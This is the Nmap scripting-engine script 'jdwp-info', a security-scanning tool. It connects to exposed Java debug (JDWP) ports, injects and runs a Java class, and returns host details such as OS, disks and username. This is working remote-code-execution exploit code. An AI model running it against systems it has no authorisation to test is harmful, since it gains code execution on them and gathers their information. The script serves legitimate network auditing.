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local io = require "io"
local jdwp = require "jdwp"
local stdnse = require "stdnse"
local string = require "string"
local nmap = require "nmap"
local shortport = require "shortport"
description = [[
Attempts to exploit java's remote debugging port. When remote
debugging port is left open, it is possible to inject java bytecode
and achieve remote code execution. This script injects and execute a
Java class file that returns remote system information.
]]
author = "Aleksandar Nikolic"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
categories = {"default","safe","discovery"}
---
-- @usage nmap -sT <target> -p <port> --script=+jdwp-info
-- @output
-- PORT STATE SERVICE REASON
-- 2010/tcp open search syn-ack
-- | jdwp-info:
-- | Available processors: 1
-- | Free memory: 15331736
-- | File system root: A:\
-- | Total space (bytes): 0
-- | Free space (bytes): 0
-- | File system root: C:\
-- | Total space (bytes): 42935926784
-- | Free space (bytes): 29779054592
-- | File system root: D:\
-- | Total space (bytes): 0
-- | Free space (bytes): 0
-- | Name of the OS: Windows XP
-- | OS Version : 5.1
-- | OS patch level : Service Pack 3
-- | OS Architecture: x86
-- | Java version: 1.7.0_01
-- | Username: user
-- | User home: C:\Documents and Settings\user
-- |_ System time: Sat Aug 11 15:21:44 CEST 2012
portrule = function(host, port)
-- JDWP will close the port if there is no valid handshake within 2
-- seconds, Service detection's NULL probe detects it as tcpwrapped.
return port.service == "tcpwrapped"
and port.protocol == "tcp" and port.state == "open"
and not(shortport.port_is_excluded(port.number,port.protocol))
end
action = function(host, port)
stdnse.sleep(5) -- let the remote socket recover from connect() scan
local status,socket = jdwp.connect(host,port) -- initialize the connection
if not status then
stdnse.debug1("error, %s",socket)
return nil
end
-- read .class file
local file = io.open(nmap.fetchfile("nselib/data/jdwp-class/JDWPSystemInfo.class"), "rb")
local class_bytes = file:read("a")
-- inject the class
local injectedClass
status,injectedClass = jdwp.injectClass(socket,class_bytes)
if not status then
stdnse.debug1("Failed to inject class")
return stdnse.format_output(false, "Failed to inject class")
end
-- find injected class method
local runMethodID = jdwp.findMethod(socket,injectedClass.id,"run",false)
if runMethodID == nil then
stdnse.debug1("Couldn't find run method")
return stdnse.format_output(false, "Couldn't find run method.")
end
-- invoke run method
local result
status, result = jdwp.invokeObjectMethod(socket,0,injectedClass.instance,injectedClass.thread,injectedClass.id,runMethodID,0,nil)
if not status then
stdnse.debug1("Couldn't invoke run method")
return stdnse.format_output(false, result)
end
-- get the result string
local stringID = string.unpack(">x I8",result)
status,result = jdwp.readString(socket,0,stringID)
-- parse results
return stdnse.format_output(status,result)
end
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